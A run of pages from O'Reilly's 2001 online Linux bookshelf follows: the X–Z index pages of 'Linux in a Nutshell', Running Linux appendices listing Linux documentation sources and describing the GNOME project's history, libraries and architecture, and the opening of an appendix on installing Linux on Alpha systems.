Index: X (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: X

x command (sed): 12.5. Alphabetical Summary of sed Commands
X Consortium: 1.3. Commands on Linux
xargs command: 3.1. Alphabetical Summary of Commands
xbiff program: 17.5. A Quick Tour of the fvwm Environment
17.10. Making the Same Window Appear on Every Page
xclock program: 17.5. A Quick Tour of the fvwm Environment
17.10. Making the Same Window Appear on Every Page
xit command (ex): 11.13. Alphabetical Summary of ex Commands
xload program: 17.5. A Quick Tour of the fvwm Environment
xmkmf utility (imake): 3.1. Alphabetical Summary of Commands
xterm program: 1.4. What This Book Offers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: Y

y command (sed): 12.5. Alphabetical Summary of sed Commands
yacc command: 3.1. Alphabetical Summary of Commands
yank command (ex): 11.13. Alphabetical Summary of ex Commands
yanking and pasting
Emacs: 10.3.3. Deletion Commands
sed: 12.4.4. Yanking and Putting
vi: 11.5.2. Changing and Deleting Text
yes command: 3.1. Alphabetical Summary of Commands
ypbind command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypcat command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypchfn command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypchsh command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypinit command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypmatch (NFS/NIS): 3.1. Alphabetical Summary of Commands
yppasswd command (NFS/NIS): 3.1. Alphabetical Summary of Commands
yppoll command (NFS/NIS): 3.1. Alphabetical Summary of Commands
yppush command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypserv command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypset command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypwhich command (NFS/NIS): 3.1. Alphabetical Summary of Commands
ypxfr command (NFS/NIS): 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: Z

z command (ex): 11.13. Alphabetical Summary of ex Commands
zcat command: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
zcmp command: 3.1. Alphabetical Summary of Commands
zdiff command: 3.1. Alphabetical Summary of Commands
zdump command: 3.1. Alphabetical Summary of Commands
zforce command: 3.1. Alphabetical Summary of Commands
zgrep command: 3.1. Alphabetical Summary of Commands
zic command: 3.1. Alphabetical Summary of Commands
zmore command: 3.1. Alphabetical Summary of Commands
znew command: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Sources of Linux Information (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix A. Sources of Linux Information

Contents:

Online Documents
Linux Documentation Project Manuals
Linux News and Information Sites
General Software FTP Sites
Requests For Comments

This appendix contains information on various online sources of Linux information. While all of these documents are available electronically from the Internet or BBS systems, many are also available in printed form. Many Linux distributions also include much of this documentation in the distribution itself, so after you have installed Linux, these files may be present on your system. The Bibliography lists a number of books and other materials that relate to topics we have discussed in this book.

The best place for free documentation on Linux is the Linux Documentation Project site, which Matt Welsh set up. The URL for the main site is:

http://www.linuxdoc.org
but there are many mirror sites around the world, one of which may be more convenient for you because it's closer or has less traffic. The site contains all of the online Linux documents, manuals, HOWTOs, and pointers to many other locations.

A.1. Online Documents

These documents should be available on any of the Linux FTP archive sites. If you do not have direct access to FTP, you will probably also find them on any decent Linux distribution CD-ROM.

In particular, the following documents may be found on ftp://metalab.unc.edu in the directory /pub/Linux/docs. Many sites mirror this directory; however, if you're unable to locate a mirror site near you, this is a good one to fall back on. HOWTOs and Linux Documentation Project manuals are listed in the Bibliography, which also lists other useful documents:

The Linux Frequently Asked Questions List

The Linux Frequently Asked Questions (FAQ) list is a list of common questions (and answers!) about Linux. This document is meant to provide a general source of information about Linux, common problems and solutions, and a list of other sources of information. Every new Linux user should read this document. It is available in a number of formats, including plain ASCII, PostScript, and Lout typesetter format. The Linux FAQ is maintained by Robert Kiesling at kiesling@ix.netcom.com.

The Linux META-FAQ

The META-FAQ is a collection of "metaquestions" about Linux--that is, sources of information about the Linux system and other general topics. It is a good starting place for the Internet user wishing to find more information about the system. It is maintained by Michael K. Johnson at johnsonm@redhat.com.

The Linux INFO-SHEET

The Linux INFO-SHEET is a technical introduction to the Linux system. It gives an overview of the system's features and available software and also provides a list of other sources of Linux information. The format and content is similar in nature to the META-FAQ; incidentally, it is also maintained by Michael K. Johnson.

The Linux Software Map

The Linux Software Map (LSM) is a list of many applications available for Linux--where to get them, who maintains them, and so forth. The list is far from complete; to compile a complete list of Linux software would be nearly impossible. However, it does include many of the most popular Linux software packages. If you can't find a particular application to suit your needs, the LSM is a good place to start. The LSM is maintained by Aaron Schrab at Aaron.Schrab@execpc.com.

The Linux HOWTO Index

The Linux HOWTOs are a collection of "how to" documents, each describing in detail a certain aspect of the Linux system. They are maintained by the Linux Documentation Project and the current maintainer can be reached through the email alias linux-howto@metalab.unc.edu. The HOWTO Index lists the available HOWTO documents; see the Bibliography for a partial list of HOWTOs.

Other online documents

If you browse the docs subdirectory of any Linux FTP site, you'll see many other documents that are not listed here: a slew of FAQs, interesting tidbits, and other important information. This miscellany is difficult to categorize here; if you don't see what you're looking for on this list, just take a look at one of the Linux archive sites.

Previous | Home | Next
16.2 Electronic Mail | Book Index | A.2. Linux Documentation Project Manuals
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Linux Documentation Project Manuals (Running Linux)

 Running LinuxSearch this book
Previous Next

A.2. Linux Documentation Project Manuals

The Linux Documentation Project is working on developing a set of manuals and other documentation for Linux, including manual pages. These manuals are in various stages of development, and any help revising and updating them is greatly appreciated.

These books are available via anonymous FTP from a number of Linux archive sites, including ftp://metalab.unc.edu in the directory /pub/Linux/docs/LDP. A number of commercial distributors are selling printed copies of these books; you may already be able to find the LDP manuals on the shelves of your local bookstore. A complete list of manuals can be found in the Bibliography.

Previous | Home | Next
A. Sources of Linux Information | Book Index | A.3. Linux News and Information Sites
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Linux News and Information Sites (Running Linux)

 Running LinuxSearch this book
Previous Next

A.3. Linux News and Information Sites

Recently, a number of sites that feature news about Linux have been created. If you need to get your daily dose of Linuxish reading, try one (or more) of the following:

http://lwn.net

Has articles and feature stories about different Linux-related topics.

http://www.linuxgazette.com

Now a subsidiary of the print magazine Linux Journal, Linux Gazette does not contain news so much as articles about setting things up and finding your way through your Linux system. Mainly targetted at beginners to intermediary users.

http://www.linuxfocus.org

Calls itself "the first and (for the moment) only multilingual magazine about Linux." Contains longer reviews and articles about Linux-related things in several languages.

http://linux.miningco.com

Contains longer reviews and articles about Linux-related things; often very well written.

http://www.freshmeat.net

A very useful list of new software available for Linux. If you are wondering whether the rest of the Linux community is sleeping or working, check this site and watch the new applications coming in.

http://slashdot.org

Brings often updated headlines from computing in general (but with a focus on Linux and free software) and is probably best known for its bulletin-board system where people can comment on the news and on other comments. The low quality of some comments (both orthographic and content-wise) sometimes makes a sort of fun of its own. (This does not apply to the news themselves, though.)

http://www.chariott.com/linapps.html

The Linux Applications and Utilities Page is a very useful list of Linux software, grouped by category. You won't find everything available here, but it is a very good start if you are looking for a piece of software for a certain task but do not know any product names. Contains both free and commercial software.

http://www.linux-center.org

One more web site that collects Linux-related resources and is well organized.

http://www.linuxberg.com

Lists thousands of Linux programs by category with short descriptions and a rating. It's more difficult to find something than at the Linux Application and Utilities Page, but is way more complete, too.

http://linas.org/linux/

This page, Linux Enterprise Computing, lists many other resources about using Linux in commercial settings. Very worth looking through even if you don't plan to use Linux commercially.

http://sal.kachinatech.com

On this page, Scientific Applications on Linux, you can find lists and descriptions of applications for using Linux in science and research, an area Linux is traditionally strong in.

http://www.debian.org, http://www.redhat.com, http://www.calderasystems.com and http://www.suse.com

Web sites of various Linux distributors; you should find a lot of information about your distribution here.

Previous | Home | Next
A.2. Linux Documentation Project Manuals | Book Index | A.4. General Software FTP Sites
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


General Software FTP Sites (Running Linux)

 Running LinuxSearch this book
Previous Next

A.4. General Software FTP Sites

Since most software that runs on Linux comes from existing, well-established sources like the Free Software Foundation and the Berkeley Software Distribution, you can obtain most of it by visiting just a few places on the Internet. If your distribution doesn't have a certain package you need, don't despair; try going to the original source.

Here are popular sites for the main sources of software that run on Linux; all are heavily loaded. The first thing you should do when getting to the site is look for a listing of mirror sites (other computer systems that download the software from the primary site on a regular basis) that is closer to you; a mirror site is usually easier to connect to and runs faster:

The Linux kernel itself

http://www.kernel.org

General Linux Software Repository

Site ftp://metalab.unc.edu in directory /pub/Linux

GNU software (Free Software Foundation)

Site ftp://ftp.gnu.org in directory /gnu

X Window System

Site ftp://ftp.x.org in directory /pub/R6.3 [1]

[1]Get information about the state of the release by retrieving /pub/R6/RELNOTES.TXT or /pub/R6/RELNOTES.PS.

XFree86

Site ftp://ftp.xfree86.org in directory /pub/XFree86

FreeBSD

Site ftp://ftp.freebsd.org in directory /pub/FreeBSD/LOCAL_PORTS

Previous | Home | Next
A.3. Linux News and Information Sites | Book Index | A.5. Requests For Comments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Requests For Comments (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

A.5. Requests For Comments

Proposals, standards, and other information have historically been passed around the Internet community through documents called Requests for Comments (RFCs). All RFCs are available via anonymous FTP or the Web. Any RFCs of interest to you are likely to be listed at http://info.internet.isi.edu/in-notes/rfc/files/. Since the listing is enormous, it's more efficient just to enter a URL in the form:

http://info.internet.isi.edu/in-notes/rfc/files/rfcn.txt
where n is the number of the RFC.

The Bibliography lists a number of RFCs that interest Linux network administrators and users.

Previous | Home | Next
A.4. General Software FTP Sites | Book Index | B. The GNOME Project
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The GNOME Project (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix B. The GNOME Project

By Miguelde Icaza, Instituto de Ciencias Nucleares, UNAM; Nat Friedman, International GNOME Support; Federico Mena, Red Hat Software; and Elliot Lee, Red Hat Software

Contents:

What Is GNOME?
A Brief History of the GNOME Project
The GNOME Desktop: A User's Point of View
Some GNOME Applications
GNOME as a Development Platform
Getting and Installing GNOME
The Future of GNOME
How Can You Help with GNOME?

B.1. What Is GNOME?

Unix has never been considered an extremely user-friendly operating system. Because it was originally designed by programmers for programmers, the primary interface has long been the command line. Although this is a very powerful interface, it has a very steep learning curve, especially for people who are not acquainted with computers.[2]

[2]This article originally appeared in Linux Magazine and can be found on their web site at http://www.linux-mag.com. It has been minimally edited from the authors' version.

Then, the appearance of the X Window System brought forth a proliferation of GUI toolkits. The result was twofold: Unix programmers suddenly had the ability to create easy-to-use human-friendly software interfaces. But the market was fragmented; programmers were divided into many camps, each using a different GUI toolkit. This fragmentation delayed the development and deployment of a standard graphical interface and powerful graphical applications.

And fragmentation in the Unix world has had other consequences as well; while Unix developers tried to unify their splintered marketplace, the Unix technology and core design--originated in the 1970s--began to stagnate. Meanwhile, other operating systems were keeping up with technological progress in areas which Unix had long ignored.

The user interface is an important component of today's desktop systems, but a full desktop system and its applications need a lot more to provide all the needed consistency and all the features users expect from modern systems. A software development infrastructure must be in place as well.

GNOME, which stands for GNU Network Object Model Environment, is the GNU effort to address these problems. It consists of a set of libraries, component interfaces, and applications. The GNOME project provides Unix-like systems with the technologies that it has lacked for decades. But although GNOME is bringing new technologies to Unix, it is not a research project: the GNOME team develops and implements ideas that have been tried on other systems in the past and have been proven succesful. Of course, the team doesn't mind trying new ideas, but there is a lot of catching up to be done for the time being.

B.1.1. The Windowing System Foundation

Integrated operating systems like the MacOS or Microsoft Windows hide the fact that many programs work together to create the desktop. With Linux, it's necessary to know a little bit about how this illusion is created. Under Linux and other Unix-like operating systems, there are essentially three different software packages that work together in order to create a GUI environment.

The lowest level piece of software is the X Window System itself also called X11. X11 is the foundation software that interacts directly with the computer's hardware. It handles the interaction between input devices (keyboard and mouse) and output devices (monitor).

Higher-level applications can draw graphics to the screen and receive input from the keyboard and mouse by just talking to the X Window System. Individual applications don't have to know anything about how the hardware actually works. X is a standard component of most Unix-derivatives nowadays.

X does does this in a network-transparent fashion, which means that applications running under the X system can be running anywhere on the network.

The X Window System does not specify a policy for either the user interface used by each of the applications being displayed or by the decoration frame and window managing features. X actually relays the responsibility for managing windows to a special application called the Window Manager

The Window Manager controls the placement and appearance of windows on the screen. It works in coordination with X and instructs X where and how to draw windows. There are many window managers available that offer different customization options, but they all perform the same basic functions.

This is the way most people use X these days: the basic windowing system, a window manager, and some X applications.

B.1.2. The Role of GNOME

The user interface part of GNOME is built on top of the X foundation, and it consists roughly of:

The GNOME desktop system

This is a set of tools that provides a desktop abstraction to users plus various utility applications for day-to-day work.

The GNOME application framework libraries

These libraries ensure that GNOME applications look and behave consistently.

Productivity GNOME applications

A number of productivity applications have been written as part of the GNOME project and they are distributed as part of the GNOME system.

The GNOME system can work with any window manager, but the desktop experience is enhanced if the window manager is GNOME-compliant. As of this writing, IceWM, fvwm2, Enlightenment, and WindowMaker are GNOME compliant.

GNOME is part of the GNU project. GNU stands for "GNU's not Unix" (it's a recursive acronym) and was a project begun in 1984 with the goal of creating a freely-redistributable Unix-like operating environment.

Aside from providing users with a friendly desktop and various productivity applications, GNOME addresses several important deficiencies encountered by Unix programmers:

  • Lack of a framework for writing consistent and easy-to-use GUI applications

  • Lack of inter-application communication standards

  • Lack of a standard for writing interoperable, re-useable software components

  • Lack of a standard printing architecture and high-quality imaging model

Before we explore how GNOME works its magic to solve these problems, a brief history of the project is in order.

Previous | Home | Next
A.5. Requests For Comments | Book Index | B.2. A Brief History of the GNOME Project
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Brief History of the GNOME Project (Running Linux)

 Running LinuxSearch this book
Previous Next

B.2. A Brief History of the GNOME Project

Before the GNOME project as we know it was created, there were two earlier projects, the "libapp" project and the "old-GNOME" project. libapp was intended to supply programmers with a standardized method of storing, using, and retrieving various bits of information about the system and the user preferences; it was a library that anyone could use. On the other hand, Old-GNOME was aimed at providing Unix with a standard software component model, allowing programs to be used as components within other programs.

When the KDE project (see "Section 11.3, "The K Desktop Environment"" in Chapter 11, "Customizing Your X Environment") emerged as a serious attempt to create a usable desktop environment for Unix, a number of people became worried about its licensing. The KDE team had chosen to build their project on top of the Qt GUI tool kit, which at that time was not truly free software. Although Qt has since changed its licensing terms and now qualifies as free software, at that time many people felt its use represented a step backwards for software freedom. This led to the emergence of the GNOME project as an attempt to develop a completely free desktop environment based on the original old-GNOME and libapp ideas.

Another important goal of the GNOME project was to make sure that the work done on any foundation libraries could be used from every programming language in Unix. To successfully create this standard, it was essential that every programmer had access to these technologies, no matter the choice of programming language.

The people on the original GNOME team had a good mix of backgrounds revolving around free software issues, graphics, and programming language design. The original team included the programmers who worked on the GNU Image Manipulation Program (the GIMP), Peter Mattis and Spencer Kimball. Richard Stallman, the founder of the GNU project, was involved, as were Erik Troan and Mark Ewing of Red Hat Software. Additionally, there were significant contributions from the members of the Free Software and GUILE mailing lists. (GUILE is GNU's Unique Intelligent Language for Extensions, a programming language that can be embedded in other programs to make them extensible through scripting. GUILE was one of the first scripting languages that could be used with GNOME.)

Since the project's inception, there have been regular releases of the GNOME source code base. After 18 months of development, GNOME 1.0 was officially released in March 1999. Updates and bug fixes are already being released on a continual basis, and as of this writing, the GNOME 1.0 series is at version 1.0.10.

GNOME 1.0 is a significant milestone in the history of the project because it represents a contract between the GNOME development team, independent software developers, and users everywhere. Release 1.0 provides a stable Application Programming Interface (API), on top of which new applications can be developed. Independent developers can take advantage of all the functions available in the libraries while feeling assured that their applications will continue to work in the future.

Previous | Home | Next
B. The GNOME Project | Book Index | B.3. The GNOME Desktop: A User's Point of View
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The GNOME Desktop: A User's Point of View (Running Linux)

 Running LinuxSearch this book
Previous Next

B.3. The GNOME Desktop: A User's Point of View

GNOME gives users an intuitive desktop metaphor, a file manager, an easy way to launch applications installed on the system, and built-in support for themes, which allow users to change the aesthetic characteristics of their desktop and applications. For example, the "steel" theme makes the desktop and applications appear to be made of steel, and a "wooden" theme makes them appear to be made of wood. Various desktop productivity tools such as a calendar, calculator, address book and spreadsheet are also included. The user can easily change the look of their applications by using the GNOME control center. Most GNOME distributions include numerous pre-designed desktop themes. Many other contributed themes can be found at http://gtk.themes.org, a web site dedicated to themes.

The GNOME desktop provides a number of powerful shortcuts that make it easy to interact with the computer. One of these is support for drag and drop: a file can be dropped onto the desktop to create a shortcut to it; a picture can be dropped onto the desktop setup program to change the desktop background; a color can be dragged from the color selector to the panel to change its background; and documents can be dragged onto the printer icon to print them.

Another key feature is GNOME's support for session management, which allows GNOME to remember the state of the desktop between logins. So, when users log in, they see the same desktop and running applications that were in use when they last logged off. In addition, GNOME applications can work together, by sharing a common clipboard, for example.

Previous | Home | Next
B.2. A Brief History of the GNOME Project | Book Index | B.4. Some GNOME Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Some GNOME Applications (Running Linux)

 Running LinuxSearch this book
Previous Next

B.4. Some GNOME Applications

An increasing number of GNOME-compliant applications have become available. Some of the most popular include:

DIA

An application for creating all sorts of sophisticated diagrams.

The GIMP

The GNU Image Manipulation Program (the project that started it all), described in Chapter 9, "Editors, Text Tools, Graphics, and Printing". The GIMP is a powerful image editing and painting application. It performs common image manipulation functions such as painting, color correction, and cropping. It also supports advanced features such as layers and selections and is extensible via a sophisticated plug-in system. The plug-ins are separate programs that provide specialized image manipulation functions or special effects.

Gnumeric

A powerful spreadsheet application. Gnumeric has all the features you would expect from any commercial offering but is free software. An exceptionally useful feature of Gnumeric is its ability to import and export Microsoft Excel files. For more information, check out http://www.gnome.org/gnumeric.

Guppi

A basic graphics application. This is also the tool that Gnumeric uses to plot graphics.

AbiWord

A full-featured word processor that uses the GNOME libraries as its engine and in the future will take full advantage of all of GNOME's component technology. This means users will be able to link and embed spreadsheets from Gnumeric or graphics from the GIMP into AbiWord documents or link AbiWord documents back into those programs.

Previous | Home | Next
B.3. The GNOME Desktop: A User's Point of View | Book Index | B.5. GNOME as a Development Platform
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


GNOME as a Development Platform (Running Linux)

 Running LinuxSearch this book
Previous Next

B.5. GNOME as a Development Platform

While GNOME can certainly make Unix-based operating systems more palatable to ordinary users, the GNOME team devotes a lot of energy to making GNOME fun to hack on, too.

From the developer's perspective, GNOME is made up of a set of core libraries, an infrastructure for component programming, and a set of reusable language-neutral components.

B.5.1. The GNOME Foundation Libraries

Many powerful features work across all GNOME applications in a standardized way, thanks to these libraries.

B.5.1.1. GTK+ (GIMP toolkit)

GTK+ is GNOME's object oriented graphics toolkit. It was originally designed by the GIMP programmers to simplify their work in building the GIMP. GTK+ was chosen for GNOME primarily because it implemented an object system rich in functionality and it already had interface bindings for a wide range of programming languages. This meant that GTK+ already went a long way towards achieving GNOME's goal of programming language neutrality. For more information, see http://www.gtk.org.

Guidelines have been developed that specify the method for adding new language bindings (wrappers) for the GTK+/GNOME libraries. Developers following these guidelines have contributed support for a number of languages, including C++, Objective-C, TOM, PERL, Python, GUILE, ADA, and others. Other bindings are in various stages of development, which is understandable, considering the large number of libraries that make up GNOME.

GTK+'s object system is very elegant in its design and allows for classical single-inheritance, dynamic creation of new methods and classes, and a signal mechanism that dynamically attaches signal handlers to events that occur in the user interface (e.g., a mouse click).

Another reason for choosing GTK+ is that it advances the second goal of the project--to create an intuitive desktop metaphor. It does this by providing support for two drag-and-drop protocols--Xdnd (X Drag and Drop) and Motif DnD. This makes it possible to drag and drop objects between programs written in GNOME (like the desktop), and programs that were written using other tools (like Netscape). Because all this is handled by GTK+, application writers get this functionality for free.

B.5.1.2. Imlib

This is an imaging library and engine that provides for fast loading, saving, and displaying of images. Imlib provides sophisticated image caching and color-management functions which operate efficiently even on low-end displays or 8-bit video cards. Due to limitations in X's color management scheme, developers writing directly to the X Window System libraries and artists creating icons or images for X need to be concerned about how many colors a given image might use. Imlib frees them from these worries by providing automatic color reduction and dithering facilities.

B.5.1.3. XML/DOM libraries

The WWW Consortium (the organization that ratifies standards for the World Wide Web) recently introduced two new standards: XML and DOM. XML is the eXtensible Mark-up Language, which can be used to describe and create other mark-up languages such as HTML. With a well-written XML library in-place, GNOME developers can very easily add support to their applications for portably loading and saving structured data. DOM (Document Object Model) is a model that describes how applications can modify chunks of data in an XML document. Implementing these standards as a GNOME library makes it easier for programmers to write XML/DOM aware applications.

B.5.1.4. The Canvas/Libart engines

The Canvas is an engine for creating structured graphics that allows programmers to easily create interactive graphics displays. Its features include unlimited scrolling and completely flicker-free operation. The programmer simply creates a canvas item (stock items include text, images, polygons, and Gtk widgets) and specifies its location. The Canvas handles the rest.

The Canvas is designed to be an extensible, but generic, display engine. The Gnumeric spreadsheet application, for example, uses the Canvas to display the spreadsheet but provides its own custom extensions. Applications like the GNOME calendar and the Midnight Commander file manager use the basic functionality of the canvas in their displays.

Libart is a vector manipulation and rendering engine that uses anti-aliasing and alpha-compositing. The canvas is built upon Libart, which it uses to render its objects into an RGB buffer. Libart makes it easy for the canvas to create anti-aliased, alpha-composited output. Libart provides a superset of the PostScript imaging model for extremely high-quality output.

B.5.1.5. The Bonobo component and document model

Bonobo is the name of the GNOME project to create a component model and a standard for the interactions between the components of a compound document.

It's a framework similar in concept to Microsoft's Object Linking and Embedding (OLE). Bonobo allows programmers to create reusable software component objects (similar to Active X Controls). It is also a document model that defines a system where these objects can seamlessly interact within shared container documents (Similar to Linking and Embedding).

To use an example that many people are familiar with, in Microsoft Office, an Excel document can be embedded within a Word document. The Word document in this case is a container document. It contains both the Word data and the Excel data. However, clicking on the Excel data allows you to work on it as though you were working in Excel, even though it is embedded in the Word document. The Excel application functions as a piece of component software, creating the illusion that the user is only interacting with one application.

Bonobo is a set of CORBA interfaces that are necessary for component design and interaction. The Bonobo interfaces are both language- and toolkit-independent, and Bonobo components can be both written and used in any language. The reference implementation of Bonobo is based on the Gtk object system and maps CORBA interfaces to Gtk objects which can be easily manipulated by the application author.

Note that while many programmers associate OLE with great complexity, much of that is due to the way Microsoft was forced to design OLE so that it would work well with Windows. While sharing much of the same functionality as OLE, Bonobo is inherently a much simpler system to understand and design software with.

B.5.2. The Common Object Request Broker Architecture (CORBA)

Unix has long been praised for making it easy for users to take a bunch of small filter programs (like grep and sed ) and tie them together using pipes to compose a more complex, makeshift application. Sadly, pipes and filters do not scale to more complex applications (especially graphical applications). GNOME is an environment in which software objects can talk to each other (even over networks) in a standard fashion without knowing anything about each other. This is made possible by GNOME's CORBA foundation.

CORBA is a software system based on completely open standards, specifying methods for software objects to interact with each other. These objects speak to each other through an Object Request Broker (ORB), which directs traffic between all of the different pieces of software. The CORBA standard specifies the functionality that an ORB must provide to client programs that make requests of it. The objects don't need to know anything about each other; they can be programs that can be written in different languages and perform different functions, and they can even be located on different machines. As long as they communicate through the ORB, they can all speak to each other.

CORBA is woven throughout GNOME and provides application developers with a rich set of services. Among them are:

A general IPC mechanism (Inter-Process Communication)

In the past, it was quite common in a Unix environment for programmers to invent a customized protocol in order for two applications to communicate. Needless to say, the situation did not do much to encourage software reuse or interoperability. Now, whenever GNOME applications need to communicate, they can just use CORBA.

A means of exporting an application's internal engine

Many applications in GNOME export their internal functionality to the outside world. This allows other programs--both GNOME and non-GNOME--to use the services exported by an application, making these applications especially accessible to scripting languages. In particular, exporting makes these applications accessible to scripting languages so that advanced users can write scripts that automate common tasks. In the not-too-distant future, the user will be able to write a Python script to manipulate a Gnumeric spreadsheet, perform customized spell checking, or automate repetitive presentation creation tasks. This is similar to the functionality that Microsoft's Visual Basic provides Microsoft Office under Windows. The Guppi graphics application, the file manager, and the Gnumeric spreadsheet are currently scriptable in this fashion.

A method for creating re-usable, interoperable software components

As previously mentioned, the Bonobo component and document model expands upon the services CORBA offers, creating a framework that offers both programmers and users a very high level of flexibility.

CORBA is a series of specifications for designing Object Request Brokers (ORBs), but it is not an actual piece of software. Many ORBs have been written to the CORBA specification, but they are all implemented differently, and not all of those ORBs suit every software project's needs. The GNOME team spent a long time searching for a suitable CORBA implementation. It required an ORB that supported C language bindings and that was both thin and fast. Eventually, a decision was made to write a CORBA ORB from scratch. Dick Porter, Elliot Lee (while working for Red Hat Labs), and Andrew Veliath wrote an all new high-performance CORBA ORB named ORBit. ORBit finally provides the plumbing that allows you to deploy CORBA throghout GNOME. It is described at http://www.labs.redhat.com/orbit.

B.5.3. Programming Tools

As the GNOME system matures, new development tools are emerging to aid developers in designing GUI applications. Of particular interest is Damon Chaplin's Glade. Glade greatly simplifies the creation of complex UIs in much the same way that NeXT's Interface Builder simplifies this task under NeXTStep.

Databases can now be accessed in a uniform fashion through GNOME DB, which is a modified CORBA interface to various databases. GNOME DB also includes a designer front-end. This project is being managed by Michael Lausch, who handles the back-end and CORBA elements, and Rodrigo Moya, who is writing the GUI-builder code.

B.5.4. The GNOME Printing Architecture

The free software community, and Unix in general, have long lacked a standard printing architecture and high-quality imaging model. GNOME provides a sophisticated printing engine intended to standardize the way applications print.

GNOME-print (http://www.levien.com/gnome/print-arch.html ) is the implementation of GNOME's printing architecture. It consists of a pluggable rendering engine and a set of standard widgets and dialog boxes for selecting and configuring printers. In addition, GNOME-print is responsible for managing outline fonts and contains scripts that automatically find fonts already installed on the system.

The GNOME-print imaging model is based upon the PostScript imaging model. Basic operations include vector and bezier path construction, stroking, filling, clipping, text printing (using Type1 fonts, with TrueType to follow shortly), and image printing.

At the time of this writing, GNOME-print generates only PostScript output. However, the design of the imaging model is closely linked to the rendering engine for the Canvas, and it is expected that these two modules will soon be interoperable. In particular, it will be possible to print into a Canvas, which is useful for providing a high quality print preview, and it will also be possible to print the contents of a Canvas. This feature should simplify the design of applications that use the Canvas, as very little extra code will be needed to support printing.

The GNOME-print engine will also be used to render printed pages directly without going through an intermediate PostScript step. This is especially exciting because it will allow high quality, high performance printing of complex pages to color inkjet printers. Complex pages could include transparency, gradients, and other elements considered tricky in the traditional PostScript imaging model.

Previous | Home | Next
B.4. Some GNOME Applications | Book Index | B.6. Getting and Installing GNOME
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting and Installing GNOME (Running Linux)

 Running LinuxSearch this book
Previous Next

B.6. Getting and Installing GNOME

Tested source code releases of GNOME are available at ftp://ftp.gnome.org/pub/GNOME.

It is also possible to get the very latest GNOME developments from the anonymous CVS servers. Check the GNOME web page at http://www.gnome.org for details on how to pull the latest version straight from the CVS servers.

Fast-breaking news about GNOME is also posted to the GNOME web site, along with documents to get you started on installing GNOME and developing GNOME applications. If you are in need of assistance, check out the GNOME FAQ.

Previous | Home | Next
B.5. GNOME as a Development Platform | Book Index | B.7. The Future of GNOME
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Future of GNOME (Running Linux)

 Running LinuxSearch this book
Previous Next

B.7. The Future of GNOME

The GNOME system is constantly being updated, fixed, and improved. Following the lead of other free software projects such as Linux, the GNOME team maintains two branches of the GNOME software. New technologies are distributed in a development branch which developers can use and experiment with. As the technologies mature and the software becomes more stable, the code is released with the stable branch, which is targeted at deployed systems.

The evolution of GNOME is not decided by one person or a comittee: GNOME evolves in the direction that the GNOME programmers consider important or interesting. And you can be one of those programmers; the GNOME team welcomes your code, patches, opinions, and help.

Previous | Home | Next
B.6. Getting and Installing GNOME | Book Index | B.8. How Can You Help with GNOME?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How Can You Help with GNOME? (Running Linux)

 Running LinuxSearch this book
Previous Next

B.8. How Can You Help with GNOME?

The GNOME project welcomes people who want to assist in creating the best possible Open Source desktop environment. There are opportunities for all kinds of talent to be utilized. Programmers can help writing programs and reviewing existing code or updating or maintain the programs. Language teams can make sure that the GNOME system contains up-to-date translations for their languages. Other people can contribute to the project in many ways: helping other GNOME users; getting proprietary-based business to realize the importance of free software; documenting the system; and communicating to other people what is GNOME all about.

If you would like more information on how you can help out, please email webmaster@gnome.org.

Previous | Home | Next
B.7. The Future of GNOME | Book Index | C. Installing Linux on Digital/ Compaq Alpha Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing Linux on Digital/ Compaq Alpha Systems (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix C. Installing Linux on Digital/ Compaq Alpha Systems

By Barrett G. Lyon, Lar Kaufman, and Richard Payne

Contents:

Alpha History and Status
The Linux Port
Identifying Your Alpha System
Collecting System Hardware Information
Preparing for Installation of Linux Alpha
Installing Linux
Tuning and Post-Installation Considerations

In 1992, Digital introduced a 64-bit, superscaler, RISC-based architecture called the Alpha, winning impressive reviews in the industry for speed. Linux is an attractive alternative to the official operating systems shipped with the Alpha. But installation varies from system to system because the Alpha has evolved rapidly and has been shipped over the years with a wide variety of hardware and firmware (startup programs stored in ROM). This appendix is an introduction to the main issues and tasks in installing Linux, but you will also need to carefully read the documents for Linux installation and your hardware, and show a somewhat adventurous willingness to experiment.

